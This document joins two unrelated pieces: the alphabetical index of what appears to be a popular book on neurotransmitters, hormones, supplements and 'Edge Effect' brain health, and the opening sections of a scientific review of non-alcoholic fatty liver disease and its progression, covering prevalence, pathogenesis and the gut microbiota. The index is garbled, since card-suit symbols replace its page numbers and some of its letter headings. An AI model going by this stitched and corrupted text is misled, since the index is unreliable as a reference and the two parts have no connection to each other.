brain speed and, ♣
case study, ♣
foods increasing risk of, ♣
GABA levels and, ♣, ♦, ♥
hormone therapy, ♣
irregular heartbeat, ♣
palpitations, ♣, ♦, ♥, ♠, †
tachycardia, ♣, ♦, ♥, ♠
hedonistic behavior, ♣
herpes pain, ♣
HGH. _See_ human growth hormone
high blood pressure. _See_ hypertension
HIV, ♣, ♦
hopelessness, ♣, ♦
hormones
for acetylcholine-related issues, ♣
for dopamine-related issues, ♣
for GABA-related issues, ♣
imbalances, ♣
for memory disorders, ♣
for multiple sclerosis, ♣
natural, bioidentical, ♣
pause model and. _See_ pauses
replacement therapies, ♣, ♦, ♥, ♠, †
for serotonin-related issues, ♣
synthetic, ♣
hospital procedures, memory loss from, ♣
human growth hormone (HGH), ♣, ♦, ♥, ♠, †
huperzine-A, ♣, ♦, ♥
hydroxycitric acid, ♣, ♦
hyperglycemia, ♣
hyperlipidemia, ♣
hypersensitivity, ♣
hypersomnia (sleeping for hours), ♣, ♦, ♥
hypertension
brain, diet and, ♣
brain speed and, ♣, ♦
case studies, ♣, ♦, ♥, ♠
as dopamine-related issue, ♣, ♦
GABA levels and, ♣, ♦, ♥
as losing edge symptom, ♣
medications, ♣, ♦
as medication side effect, ♣
serotonin levels and, ♣, ♦
treating, ♣
vitamins, supplements, ♣, ♦
voltage level, ♣
hyperthyroidism, ♣
hyperventilation, ♣, ♦
hypervigilance, ♣, ♦
hypoarousal, ♣
hypotension, ♣
hypothyroidism, ♣, ♦
hypoxia, ♣
hysterical behavior, ♣
**♣**
ibuprofen, ♣
imbalances
acetylcholine, ♣, ♦, ♥
detecting, ♣
dopamine, ♣, ♦, ♥, ♠, †
GABA, ♣, ♦
losing edge from, ♣
range of, ♣
regaining edge and. _See_ balanced brain
serotonin, ♣, ♦, ♥, ♠
symptoms of, ♣
immediate memory, ♣, ♦, ♥
immunopause, ♣
impotence, ♣
brain slowing and, xvi
vitamins, supplements for, ♣
impulsive attention errors, ♣
impulsiveness, ♣, ♦
infections, ♣
inflammation, supplements for, ♣
inflammatory disorders, ♣
information processing delays, ♣
inositol, ♣, ♦, ♥, ♠
insomnia, ♣
early-morning waking and, ♣, ♦
GABA and, ♣, ♦
hormone therapy, ♣
medications, ♣, ♦
serotonin and, ♣, ♦, ♥
vitamins, supplements, ♣, ♦, ♥
instability, ♣
insulin, ♣, ♦, ♥
insulopause, ♣
interrupting others, ♣
introvert competence, reaching, ♣
introverts, ♣, ♦
intuiting types, ♣, ♦
intuition, increasing, ♣
intuitive feeling temperaments, ♣
involuntary movements, ♣, ♦
irritable bowel syndrome, ♣, ♦, ♥, ♠, †, ‡
ischemia, ♣
isolating oneself, ♣, ♦
isoleucine, ♣
**J**
joint pain, ♣
judging competence, increasing, ♣
judging types, ♣, ♦
judgment impairment, ♣
**K**
kava, ♣, ♦
kidney problems, ♣, ♦, ♥, ♠
Korean ginseng, ♣
**♣**
language changes, ♣
L-dopa, ♣, ♦
lead, effects of, ♣, ♦, ♥, ♠
learning disabilities
acetylcholine and, ♣, ♦, ♥, ♠
addressing, ♣
brain speed and, ♣
serotonin and, ♣
left-brained individuals, ♣
left hemisphere
dysfunctions associated with, ♣
functions of, ♣, ♦
leg pain medication, ♣
leptin, ♣
leucine, ♣
life expectancies, ♣
lifestyles
acetylcholine nature, ♣
dopamine nature, ♣
GABA nature, ♣
neurotransmitters and, ♣
light-headedness, ♣, ♦, ♥, ♠
lipoic acid, ♣, ♦
listen, failure to, ♣
liver tumors, ♣
Llinas, Rodolfo, ♣, xiv
lobes, ♣. _See also_ brain structure; _specific lobes_
loner behavior, ♣, ♦, ♥, ♠
losing edge, ♣
correcting chemistry for, ♣
imbalances and. _See_ imbalances
major illnesses and, ♣
neurotransmitter imbalances and, ♣
regaining balance and. _See_ balanced brain
responses to, ♣
self-medication for, ♣
symptoms of, ♣
low-histamine/low-serotonin diet, ♣
lump in throat, ♣, ♦, ♥
lyme disease, ♣
**M**
magnesium, ♣, ♦, ♥
magnetic fields, ♣
magnetism, ♣
male menopause. _See_ andropause
manganese, ♣, ♦, ♥
manic depression, ♣, ♦, ♥, ♠, †
mantras, for natures, ♣
marijuana abuse, ♣
masochism/masochistic tendencies, ♣, ♦, ♥
mastering Edge Effect, ♣, ♦
medications, ♣
acetylcholine-friendly, ♣
causing temporary memory loss, ♣
dopamine-friendly, ♣
GABA-friendly, ♣
for memory disorders, ♣
serotonin-friendly, ♣
meditation, ♣
chanting, ♣
visual, ♣
melatonin, ♣, ♦, ♥, ♠
memory. _See also_ memory loss
acetylcholine and, ♣, ♦, ♥
analyzing status of, ♣
brain processing speed and, xiv–xvi
deficient biochemicals and, ♣, ♦
disturbance, ♣
dopamine and, ♣, ♦
GABA and, ♣
improving. _See_ memory improvement
mechanics of, xiv–xv
meeting needs for, ♣
perception and, ♣
serotonin and, ♣
types of, ♣, ♦
memory and attention assessments
defining deficiencies, ♣, ♦, ♥, ♠
determining dominant nature, ♣, ♦, ♥, ♠
memory improvement, ♣
Alzheimer's disease and, ♣, ♦
attention and, ♣
Braverman Memory Test and, ♣, ♦
case study, ♣
CES and, ♣
exercises, ♣
hormones for, ♣
medications for, ♣
meeting own needs and, ♣
memory loss causes and, ♣
memory types and, ♣
music for, ♣
vitamins, supplements for, ♣, ♦
memory loss
acetylcholine-related issues, ♣, ♦, ♥
with age, xv–♣, ♦
brain speed and. _See_ speed, of brain
case study, ♣
causes, ♣, ♦
dopamine-related issues, ♣, ♦
GABA deficiencies and, ♣
hormone replacement therapies, ♣
hospital procedures causing, ♣
improving. _See_ memory improvement
incidents, ♣
lapses, ♣, ♦, ♥
losing edge and, ♣
medications, ♣, ♦
mild, voltage level, ♣
pauses and, ♣
psychopause and, ♣, ♦
serotonin deficiencies and, ♣
serotonin-related issues, ♣, ♦
temporary, from medications, ♣
vitamins, supplements, ♣, ♦
menopause, ♣, ♦, ♥, ♠
menstrual bleeding, excessive, ♣, ♦
metabolic disorder supplements, ♣
metabolism, ♣, ♦, ♥
methionine, ♣, ♦, ♥
microwave radiation, ♣
mid-life crisis, ♣
migraines, ♣, ♦, ♥, ♠
Mini Mental State Exam (MMSE), ♣
mood elevation, ♣
mood swings/disorders
acetylcholine deficiencies and, ♣
addressing, ♣
dopamine deficiencies and, ♣
GAGA imbalances and, ♣, ♦
losing edge and, ♣, ♦
medications for, ♣
serotonin imbalances and, ♣
vitamins, supplements for, ♣
motion sickness, ♣
motor command problems, ♣
movement disorders, ♣, ♦
multinature illness treatments, ♣
multiple sclerosis
acetylcholine and, ♣
brain speed and, ♣
case study, ♣
dopamine and, ♣
hormones for, ♣
losing edge and, ♣
medications, ♣
symptoms, ♣
treating, ♣
vitamins, supplements for, ♣
muscle loss, ♣, ♦
muscle spasm medication/supplements, ♣, ♦
muscle tension/aches, ♣, ♦, ♥, ♠, †
muscle tone, increasing, ♣
muscle weakness medication, ♣
music therapy, ♣
myasthenia medication, ♣
myelin, ♣, ♦
mysterious chronic pains, ♣
**N**
narcolepsy
brain speed and, ♣
dopamine and, ♣
medications, ♣
supplement for, ♣
natures. _See_ biotemperaments (natures); Braverman Nature Assessment; dominant nature; _specific natures_
nausea, ♣, ♦, ♥, ♠
nephropause, ♣
neurons, ♣
anatomy of, ♣
biochemicals, electricity and, ♣
creation of, ♣
illustrated, ♣
losing firepower, ♣
synaptic gap of, ♣
neuropathy, ♣, ♦
neurotransmitters. _See also specific neurotransmitters_
amino acids and, ♣
balancing, xvi
deficiency effects, xiv
dominant, xvi
domino effect of, ♣
four basic, ♣, ♦
imbalance effects. _See_ imbalances
lifestyle and, ♣
vitamins, supplements and, ♣
niacin, ♣, ♦, ♥
niacinamide, ♣, ♦
nicotine addiction, ♣, ♦
night sweats, ♣, ♦, ♥, ♠
nonconvulsive epilepsy, ♣
nucleus, of neuron, ♣
numbness, ♣
nurturing type, ♣
**O**
obesity
appetite control hormones, ♣, ♦
brain speed and, ♣
case study, ♣
causes, ♣
defined, ♣
dopamine and, ♣, ♦, ♥, ♠
losing edge and, ♣
medication, ♣
pituitary pause and, ♣
statistics, ♣
treating, ♣, ♦
voltage level, ♣
object recognition problems, ♣
observation, fear of, ♣
obsessive-compulsive disorder
GABA and, ♣
medications, ♣
mild, voltage level, ♣
serotonin and, ♣, ♦, ♥
occipital lobes, ♣
orgasm
difficulties, ♣, ♦
premature (women), ♣
premature ejaculation, ♣, ♦, ♥
osteoarthritis, ♣
osteopause, ♣, ♦
osteopenia, ♣
osteoporosis, ♣, ♦
hormone therapy, ♣
mechanics of, ♣
preventing, ♣
treating, ♣
out-of-body experiences, ♣
ovarian surgery, ♣
overemotionality, ♣
overexcitability, ♣
OxyContin, ♣, ♦
**P**
pain. _See also specific types of pain_
aches/soreness, ♣
causing memory loss, ♣
high threshold, ♣
severe, ♣
treating chronic, ♣
pain relief
medications, ♣
phenylalanine and, ♣
vitamins, supplements, ♣
pallor, ♣, ♦
palpitations, ♣, ♦, ♥, ♠, †
pancreopause, ♣
panic disorder, ♣, ♦, ♥, ♠
pantothenic acid, ♣, ♦, ♥
paranoia, ♣
parathyroid, ♣
parathyroid hormone, ♣
parathyropause, ♣
paresthesia, ♣, ♦, ♥
parietal lobes, ♣
Parkinson's disease, ♣, ♦, ♥
brain speed and, ♣
as dopamine-related issue, ♣, ♦
electropause ages, ♣
flu and, ♣
medications, ♣
small infections triggering, ♣
therapy, ♣
vitamins, supplements, ♣, ♦
voltage level, ♣
passionflower, ♣, ♦
PATH (Place for Achieving Total Health)
case study, ♣, ♦
holistic approach of, ♣
standard workup, ♣
pauses. _See also specific pauses_
of body, ♣
controlling, ♣
defined, ♣
delaying, ♣
memory loss and, ♣
model overview, ♣
onset ages, ♣
Rainbow Diet for. _See_ Rainbow Diet
reversing aging process, ♣
stress and, ♣
summary chart of, ♣
perceiving competence, increasing, ♣
perceiving types, ♣, ♦
perception, memory and, ♣
perfectionism, ♣, ♦, ♥, ♠
perimenopausal disturbances, ♣
personality, ♣. _See also specific personality_
_types_
acetylcholine-related issues, ♣
biochemistry of, ♣, ♦
changes, ♣
deficient biochemicals and, ♣, ♦
determining biotemperaments, ♣
dominant/deficient biochemicals determining, ♣
dopamine and, ♣
extroverts vs. introverts, ♣
intuiting vs. sensing, ♣
judging vs. perceiving, ♣
modifying. _See_ personality, bending
profiles. _See_ personality profiles
temperament, type and, ♣
thinking vs. feeling, ♣
types, ♣, ♦
personality, bending, ♣
assuming different nature qualities, ♣
extrovert competence, ♣
increasing feeling thinking style, ♣
increasing intuition, ♣
increasing rational thinking, ♣
increasing sensitivity, ♣
introvert competence, ♣
judging competence, ♣
mantras for natures, ♣
modifying negative aspects, ♣
overcoming dark side, ♣
overview, ♣
perceiving competence, ♣
personality assessments
defining deficiencies, ♣, ♦, ♥
determining dominant nature, ♣, ♦, ♥, ♠
personality issues
acetylcholine-related, ♣
dopamine-related, ♣
GABA-related, ♣
serotonin-related, ♣
voltage levels and, ♣
personality profiles
acetylcholine nature, ♣
dopamine nature, ♣
GABA nature, ♣
modifying negative aspects, ♣
serotonin nature, ♣
Pfeiffer, Carl, ♣
phenylalanine, ♣, ♦, ♥, ♠, †, ‡
phenylethylamine, ♣
phobias, fears, ♣, ♦, ♥, ♠, †, ‡, Δ
phosphatidylcholine, ♣, ♦
phosphatidylserine, ♣, ♦, ♥, ♠, †, ‡
physical assessments
defining deficiencies, ♣, ♦, ♥, ♠
determining dominant nature, ♣, ♦, ♥, ♠
physical issues
acetylcholine-related, ♣
dopamine-related, ♣, ♦
GABA-related, ♣
serotonin-related, ♣
physical well-being, ♣
dopamine and, ♣
GABA and, ♣
serotonin and, ♣
pineal pause, ♣
pituitary pause, ♣, ♦
playful nature, ♣. _See also_ serotonin nature
pleasure, high threshold, ♣, ♦
PMS
dopamine and, ♣
GABA imbalances and, ♣, ♦
hormone therapy, ♣
medications, ♣
occipital lobes and, ♣
serotonin levels and, ♣, ♦
treating, ♣
vitamins, supplements, ♣
pollutants, ♣
post-traumatic stress disorder, ♣
prayer, ♣
pregnenolone, ♣, ♦, ♥
Premarin, ♣, ♦
premature ejaculation, ♣, ♦, ♥
prevention, ♣
ProCog, ♣
procrastination/procrastinators, ♣, ♦, ♥, ♠
progesterone, ♣, ♦
prostaglandin, ♣
protein cravings, ♣, ♦
psychomotor agitation, ♣
psychomotor retardation, ♣
psychopause, ♣, ♦
psychosis, ♣, ♦
pulmonopause, ♣, ♦
Pycnogenol (pine bark extract), ♣
pyridoxine, ♣, ♦, ♥, ♠
**R**
rage, ♣, ♦, ♥, ♠, †
Rainbow Diet, ♣
case studies, ♣, ♦
criteria, ♣
defined, ♣
goals, ♣
healthy eating tips, ♣
sample menus, ♣
snacks, ♣
rational thinking, increasing, ♣
reactive confusion, ♣
reading disorders, ♣
relationships, dominant nature and, ♣
restlessness, ♣, ♦, ♥, ♠
rheumatoid arthritis, ♣
rhodiola, ♣, ♦, ♥
rhythm
defined, ♣
GABA controlling, ♣
riboflaven, ♣
right-brained individuals, ♣
right hemisphere
dysfunctions associated with, ♣
functions of, ♣, ♦
rigidity, ♣
rule-breaker personality, ♣, ♦, ♥
**S**
salt cravings, ♣
SAM-e, ♣
schizophrenia, ♣, ♦, ♥, ♠
seizures
brain speed and, ♣
continuum of, ♣
GABA deficiencies and, ♣, ♦, ♥, ♠
losing edge and, ♣, ♦
medications, ♣, ♦
treating, ♣
vitamins, supplements for, ♣, ♦
selenium, ♣
self-absorbed personality, ♣, ♦, ♥, ♠
self-destructive thoughts, ♣, ♦, ♥
sensing types, ♣, ♦
sensitive judging temperaments, ♣
sensitive perceiving temperaments, ♣
sensitivity, increasing, ♣
sensory pause, ♣, ♦
sensory signals, ♣
serotonin, ♣, ♦
amino acids and, ♣
attention deficits and, ♣
biotemperament dominated by, ♣
brain wave dysrhythmias and, ♣
burnout, ♣
CES and, ♣
deficiencies, ♣. _See also_ serotonin-related symptoms/conditions
deficiency cravings, ♣, ♦
deficiency personalities, ♣
diet/nutrients increasing, ♣, ♦
domino effect and, ♣
drug abuse and, ♣
Edge Effect, ♣
environment and, ♣
excessive, ♣
functions of, ♣, ♦, ♥
imbalances, ♣, ♦, ♥, ♠
lifestyle and, ♣, ♦
low-serotonin diet, ♣
memory affiliation/nutrients, ♣, ♦
production of, ♣
TCMS units stimulating, ♣
serotonin nature, ♣
balancing, ♣, ♦
delta waves and, ♣
diet, ♣
environment and, ♣
excessive serotonin and, ♣
exercise and, ♣
lifestyle strategies, ♣
mantras, ♣
meditation exercise, ♣
modifying negative aspects of, ♣
personality profile, ♣
vitamins, supplements, ♣, ♦
serotonin-related symptoms/conditions,
♣. _See also specific symptoms/conditions_
attention issues, ♣
case study, ♣, ♦, ♥
domino effect of, ♣
hormone therapy, ♣
medications for, ♣
memory issues, ♣, ♦
personality issues, ♣
physical issues, ♣
sex drive
acetylcholine and, ♣, ♦
dopamine and, ♣, ♦, ♥
GABA levels and, ♣
increasing, ♣
losing edge and, ♣
low, ♣, ♦, ♥, ♠, †
psychopause and, ♣
yohimbine for, ♣
sexual addiction, ♣
sexual dysfunction, ♣
acetylcholine and, ♣, ♦
brain slowing and, xvi
case study, ♣
delayed response, ♣
impotence, ♣, ♦
medications, ♣, ♦, ♥, ♠
as multinature disorder, ♣
orgasm difficulties, ♣, ♦
premature ejaculation, ♣, ♦, ♥
psychopause and, ♣
sildenafil (Viagra) for, ♣, ♦, ♥
treating, ♣
sexual Edge Effect, ♣
shortness of breath, ♣, ♦, ♥, ♠
shuffling gait, ♣
shyness, ♣, ♦, ♥, ♠
side effects
of medications, ♣
of synthetic hormones, ♣
sildenafil (Viagra), ♣, ♦, ♥
sleep disorders. _See also_ insomnia
abnormal sleep positions, ♣
causing memory loss, ♣
dopamine and, ♣, ♦
early-morning waking, ♣, ♦
GABA imbalances and, ♣, ♦, ♥
hormone therapy, ♣
hypersomnia (sleeping for hours), ♣, ♦, ♥
lifestyle changes for, ♣
medications for, ♣, ♦, ♥
occipital lobes and, ♣
pituitary pause and, ♣
psychopause and, ♣
serotonin and, ♣, ♦, ♥
treating, ♣, ♦
vitamins, supplements for, ♣, ♦, ♥
slow reaction time, ♣
smell disorders/abnormalities, ♣, ♦, ♥, ♠
smell hallucinations, ♣
sociable nature, ♣
somatopause, ♣, ♦
somatostatin, ♣
spatial perception difficulties, ♣
speech problems, ♣
speed, of brain, xiv–♣, ♦, ♥. _See also_ memory loss
acetylcholine levels and, ♣, ♦, ♥
chart, ♣
dopamine levels and, ♣
medical conditions related to, ♣
reduced, causes, ♣
spirituality, ♣
stable nature, ♣
St. John's wort, ♣, ♦, ♥
stomach cramp medication (children), ♣
stress
inability to handle, ♣
pauses and, ♣
positive, ♣
reducing, ♣
replenishing hormones during, ♣
stroke
avoiding, ♣
brain speed and, ♣
causes, ♣
as GABA-related illness, ♣
losing edge and, ♣
predicting, ♣
statistics, ♣
toxic effect of, ♣
treating, ♣
vitamins, supplements for, ♣
substance abuse, ♣, ♦, ♥
sugar cravings, ♣
sugar deficiency hormones, ♣
suicidal thoughts, ♣
supranuclear palsy, ♣, ♦
surgery, causing memory loss, ♣
suspicious personality, ♣
swallowing difficulties, ♣, ♦, ♥, ♠
sweating, ♣, ♦, ♥. _See also_ night sweats
synaptic gap, ♣
synchrony, ♣
synthetic hormones, ♣
**T**
tachycardia, ♣, ♦, ♥, ♠
taste hallucinations, ♣
taurine, ♣, ♦, ♥, ♠
TCMS (transcranial magnetic stimulation) units, ♣
temperament. _See_ personality; personality profiles; personality, bending; _specific personality types_
temperature regulation problems, ♣
temper problems, ♣, ♦, ♥, ♠
temporal lobes, ♣
temporomandular joint syndrome, ♣
TENS (transcutaneous electrical nerve stimulation) units, ♣
tension, ♣
testosterone, ♣, ♦, ♥
thalamus, ♣
theta waves, ♣, ♦
thiamine, ♣, ♦, ♥, ♠, †
thinking
abstract, poor, ♣
clearly, inability, ♣
types, ♣, ♦
vitamins, supplements, ♣
thinking intuitive temperaments, ♣
thought confusions, ♣, ♦, ♥
thought factory, ♣
thymopause, ♣, ♦
thyroid disorders, ♣
thyropause, ♣, ♦
thyroxine (T4), ♣, ♦
tingling, ♣
tinnitus, ♣, ♦, ♥, ♠, †
tip-of-the-tongue syndrome, ♣
tobacco abuse medications, ♣
toxic metals, ♣, ♦, ♥, ♠
transcranial magnetic stimulation (TCMS) units, ♣
transcutaneous electrical nerve stimulation (TENS) units, ♣
treating specific symptoms/conditions, ♣
acetylcholine-deficiency diseases, ♣
balanced-brain advantage and, ♣
dopamine-deficiency diseases, ♣
GABA-deficiency diseases, ♣
multinature illnesses, ♣
serotonin-imbalance diseases, ♣
tremors, ♣, ♦, ♥, ♠
trigeminal neuralgia, ♣
triiodothyronine (T3), ♣, ♦
tryptophan, ♣, ♦, ♥, ♠, †, ‡
tumors, ♣
type ♣ diabetes, ♦
tyrosine, ♣, ♦, ♥, ♠, †, ‡
**U**
Ultimate Edge Effect, ♣, ♦
unstable personalities, ♣, ♦
urinating problems
difficulty urinating, ♣
frequency, ♣, ♦
medications for, ♣
psychopause and, ♣
uropause, ♣
**♣**
vaginal dryness, ♣
valerian root, ♣
valine, ♣
vascular disorder medication, ♣
vasculopause, ♣, ♦
vasopressin, ♣, ♦, ♥
verbal memory, ♣, ♦, ♥, ♠
vertigo, ♣
violent tendencies, ♣, ♦
violent visual stimuli, ♣
viral infections, ♣
vision problems, ♣, ♦, ♥, ♠
visual disorder medication, ♣
visual meditation exercise, ♣
visual memory, ♣, ♦, ♥
vitamin B6 ♦, ♥, ♠, †, ‡, Δ
vitamin B12 ♦, ♥
vitamin ♣, ♦, ♥
vitamin D, ♦, ♥
vitamin E, ♣, ♦
vitamins, supplements, ♣. _See also specific vitamins/supplements_
acetylcholine-friendly, ♣, ♦
Brain Calm, ♣
Brain Energy, ♣, ♦, ♥, ♠
Brain Rest, ♣, ♦
Brain Speed, ♣, ♦
dopamine-friendly, ♣, ♦
GABA-friendly, ♣, ♦
Rainbow Diet and, ♣
serotonin-friendly, ♣
for specific disorders. _See specific disorders_
voltage
defined, ♣, ♦
failing, ♣
in general medical conditions, ♣
vomiting, ♣, ♦
**W**
weight, significant changes, ♣
weight gain problems, ♣
hormone therapy, ♣
serotonin and, ♣
weight loss problems, ♣, ♦
diet, ♣
medications, ♣
vitamins, supplements, ♣, ♦
white foods, ♣
willow bark, ♣
working memory, ♣, ♦, ♥
worthlessness feelings, ♣, ♦
writing disorders, ♣
**Y**
yawning, ♣
yohimbine, ♣, ♦
**Z**
zinc, ♣, ♦, ♥, ♠, †, ‡
|
1. Introduction {#s0005}
===============
Fatty liver is an emerging medical problem. This condition is often discovered at the same time during ultrasound examinations performed for other purposes. Although the possible etiological factors have been investigated, in a high proportion of cases, the cause of the disease remains unidentified. These cases, defined as "metabolic syndrome" are often related to other diseases, or to other predictive parameters (hyperglycemia, dyslipidemia, high blood pressure, and abdominal obesity) and are classified as non-alcoholic fatty liver disease (NAFLD). This condition is one of the most common benign liver disorders in modern societies, and represents the first stage of a process that may evolve into an inflammatory phase defined as non-alcoholic steatohepatitis (NASH). Subsequently, this process can lead to fibrosis, cirrhosis, and even hepatocellular carcinoma (HCC) with high rates of morbidity and mortality [@bib1]. A schematic diagram of these processes is shown in [Fig. 1](#f0005){ref-type="fig"}. Over the years, several terms have been used to describe NASH, such as pseudo-alcoholic hepatitis, alcohol-like hepatitis, fatty liver hepatitis, steatonecrosis and diabetic hepatitis. More recently, abbreviations such as BASH (both alcoholic and non-alcoholic liver disease), DASH (drug-associated steatohepatitis), CASH (chemotherapy-associated steatohepatitis), and PASH (PNPLA3-associated steatohepatitis) have been adopted to distinguish the various etiologies [@bib2]. In this review, we provide an updated overview of NAFLD/NASH and progression to cirrhosis/HCC, with a particular focus on the roles of the gut microbiota and oxidative stress, as well as the prospects for novel therapies.Fig. 1Schematic representation of progression from NAFLD/NASH to cirrhosis/HCC. The history of non-alcoholic fatty liver disease (NAFLD). This term assembles a wide spectrum of conditions ranging from dyslipidemia to steatohepatitis (NASH). Lifestyle factors, such as sedentary lifestyle and high calorie intake combined with insulin resistance and several others genetic and epigenetic factors induce the progression of NASH to cirrhosis and hepatocarcinoma (HCC) with its clinical consequences.Fig. 1
2. Worldwide incidence of NAFLD {#s0010}
===============================
The prevalence of NAFLD in the general population is approximately 6--35%, with a median incidence of 20% [@bib2], [@bib3]. Worldwide distribution, referred to a meta-analysis carried out with studies conducted between the years 2000--2015, is highly variable as shown in [Table 1](#t0005){ref-type="table"} [@bib4], [@bib5].Table 1Worldwide incidence of NAFLD. The prevalence is highly variable although the distribution in North America and Asia is similar.Table 1**Geographic locationPrevalence (%)**North America11--46South America27--35Europe4--49Asia15--44Saudi Arabia15--55Africa9--20
In the general population of Western countries, the incidence of NAFLD is 20--30%, with a prevalence of approximately 30% among adults in the United States (US) and 25% in Italy [@bib6].
Patients with NAFLD have higher overall mortality than control patients [@bib1], and most deaths are due to cardiovascular events [@bib7]. Male sex, older age, increased waist circumference, low high-density lipoprotein levels, and the presence of metabolic syndrome are the independent predictors of mortality in patients with NAFLD [@bib8]. In healthy men, increased serum alanine aminotransferase (ALT) levels, even within the reference range, are an independent predictor of NAFLD [@bib9], although this parameter is not predictive of death. A reversal of an ALT/AST (aspartate aminotransferase) ratio of more than 1 is an index of advanced fibrosis [@bib1]. Other predictors of NAFLD are insulin resistance (which can induce dyslipidemia and atherosclerosis), endothelial dysfunction, alteration of the left ventricular energy metabolism, stroke, and increased expression of inflammation mediators [@bib10]. NAFLD is present in 80--90% of obese individuals, in 30--50% of diabetics and approximately 90% of patients with hyperlipidemia [@bib6].
3. Worldwide incidence of NASH {#s0015}
==============================
Among the general population, the worldwide incidence of NASH is 5--7%, as reported in a study performed by Pereira K. et al. in 2015 [@bib11], with 30--40% having raised liver enzymes and progressing from a chronic liver disease to cirrhosis and hepatocarcinoma. Among patients with NASH, 34--50% remain stable and 18--29% improve the histological aspect of their liver, while 26--37% progress to fibrosis, with 9--25% of these patients going on to develop cirrhosis [@bib11], [@bib12]. NASH is involved in approximately 30--40% of deaths caused by liver disease. In terms of progression to HCC, 0--0.5% of patients progress from simple hepatic steatosis, 0--2.8% from NASH and 40--62% from cirrhosis [@bib11]. The risk factor of NAFLD/NASH is similar in all countries [@bib6], [@bib13]. The evolution of NASH to fibrosis/cirrhosis depends critically on the initial stage of inflammation [@bib14]. Cirrhosis is not always present and it has been reported that 41.7% of patients develop HCC without showing cirrhosis [@bib15], [@bib16]. Among patients with NASH, 20% progress to cirrhosis over a 20-year period with increased risk of liver failure or HCC resulting in transplantation or death [@bib17]. After hepatitis C virus, NASH has become the leading etiology of liver transplantation due to HCC in the US, with a four-fold increase reported over the period from 2002 to 2012 [@bib18]. However, HCC is not necessarily associated with cirrhosis, but depends on metabolic diseases (diabetes, obesity, and insulin resistance) [@bib19].
4. NAFLD/NASH: pathogenesis {#s0020}
===========================
A subset of patients with NAFLD develops NASH; however, the mechanism is poorly understood and the pathogenesis of NASH is unclear although the current scientific consensus accepts the concept of the "Multiple Hit Theory" [@bib20] ([Fig. 2](#f0010){ref-type="fig"}) rather than the "Two Hit Theory" [@bib21] ([Fig. 3](#f0015){ref-type="fig"}).Fig. 2The "Multiple Hit Theory". The "Multiple Hit Theory" that has now superseded the Two Hit Theory is based on the hypothesis that inflammation precedes steatosis in environmentally and genetically predisposed subjects. According to the "Multiple Hit Theory", numerous insults act together to induce NAFLD. Such hits include insulin resistance, hormones secreted from the adipose tissue, nutritional factors, endotoxins (lipopolysaccharide) released by the gut microbiota, oxidative stress damage, and genetic and epigenetic factors. These insults act on liver parenchymal cells via toll-like receptors to drive the progression of NASH.Fig. 2Fig. 3The "Two Hit Theory". Schematic diagram of the "Two Hit Theory". According to this now obsolete theory, fat accumulation (steatosis), increased levels of free fatty acids (FFAs), and insulin resistance represent the "first hit" in the progression of NAFLD, leading to sensitization of the hepatic tissues to further injuries caused by factors such as oxidative stress and proinflammatory adipokine release, which represent the "second hit".Fig. 3
Until recently, hepatic steatosis [@bib22] and oxidative stress [@bib23] -- the latter also caused by changes in the gut microbiota [@bib24], [@bib25] -- were seen as a first and second causes of disease progression. The "first hit" (steatosis) induces fat accumulation in hepatocytes and increased hepatic uptake of free fatty acids (FFA). This situation is optimal for the "second hit" (oxidative stress) that leads to lipid peroxidation, proinflammatory molecule release and mitochondrial damage [@bib26]. There is now a consensus on a multi-parallel hit theory [@bib27] according to which -- in many patients -- inflammation rather than steatosis represents the first cause of NASH progressing to fibrosis [@bib20], [@bib28]. Tilg et al. [@bib20] defined steatosis as a bystander phenomenon that follows inflammatory events and is determined by estimating the proportion of hepatocytes containing fat droplets [@bib1]. Treatment with anti-tumor necrosis factor (TNF)-ɑ antibody induces an improvement of hepatic steatosis in ob/ob mice, which is a model of NAFLD [@bib29]. A decreased number of Kupffer cells leads to a decrease in interleukin-10 (IL-10) release and probably, to subsequent hepatic steatosis [@bib30]. The multiple hit hypothesis considers that multiple injuries act concomitantly in individuals who are genetically predisposed to NAFLD. In recent years, increasing credence is given to the assumption that the presence of genetic polymorphism of the patatin-like phospholipase 3 (*PNPLA3*) gene in NAFLD is essential to differentiate simple steatosis from NAFLD that progresses to NASH [@bib31]. The protein encoded by this gene is a triacylglycerol lipase that mediates triacylglycerol hydrolysis in adipocytes and may be involved in the balance of energy usage/storage in adipocytes. The main pathogenic stages for NAFLD are insulin resistance [@bib32], alterations in other regulated hormone sets that regulate carbohydrate and lipid metabolism (leptin, adiponectin) and increases in the levels of certain proinflammatory adipokines, such as TNF-α and interleukin-6 (IL-6) [@bib33]. Visceral fat accumulation is the main consequence of insulin resistance that can be considered the key marker of NASH and is a significant risk factor. Adiponectin has anti-inflammatory and anti-diabetic properties [@bib34]. TNF-α and IL-6 inhibit adiponectin but increase leptin levels that inhibit the anabolic pathways and increase metabolism. Adiponectin and leptin act antagonistically on liver fibrogenesis and inflammation [@bib35], [@bib36], [@bib37]. However, reports of serum levels of adiponectin and the expression of its receptor are inconsistent; therefore, further investigations are necessary to clarify the function of these novel adipokines [@bib38], [@bib39].
5. The role of the gut microbiota {#s0025}
=================================
The gut microbiota comprises the set of microbial species (*Bacteroides*, *Eubacterium*, *Peptococcaceae*, *Bifidobacterium*, *Escherichia coli*, *Streptococci*, *Staphylococci*, *Lactobacillus*, *Clostridium perfringens*) as well as virions that inhabit the gastrointestinal tract. These organisms contribute to food digestion, produce vitamins, and modulate immunity [@bib40]. The composition and distribution of the gut microbiota strains are influenced by various factors: age, health/disease status, environmental pH of the intestinal lumen, nutrition, and probiotics [@bib41]. There is a link between microbiota and overweight, subclinical inflammation and insulin resistance ([Fig. 4](#f0020){ref-type="fig"}). Despite reduced food intake, a 60% increase in body fat content and insulin resistance has been produced by conventionalization of adult germ-free (GF) C57BL/6 mice with a normal microbiota harvested from the distal intestine of conventionally raised animals [@bib25].Fig. 4Importance of balanced gut microbiota, and consequences of gut dysbiosis. The gut bacteria may contribute to NAFLD via production of bacteria-derived toxins, e.g., LPS, production of pro-inflammatory cytokine, deposition of triglycerides in adipocytes and liver, causing insulin resistance, adiposity and diabetes.Fig. 4
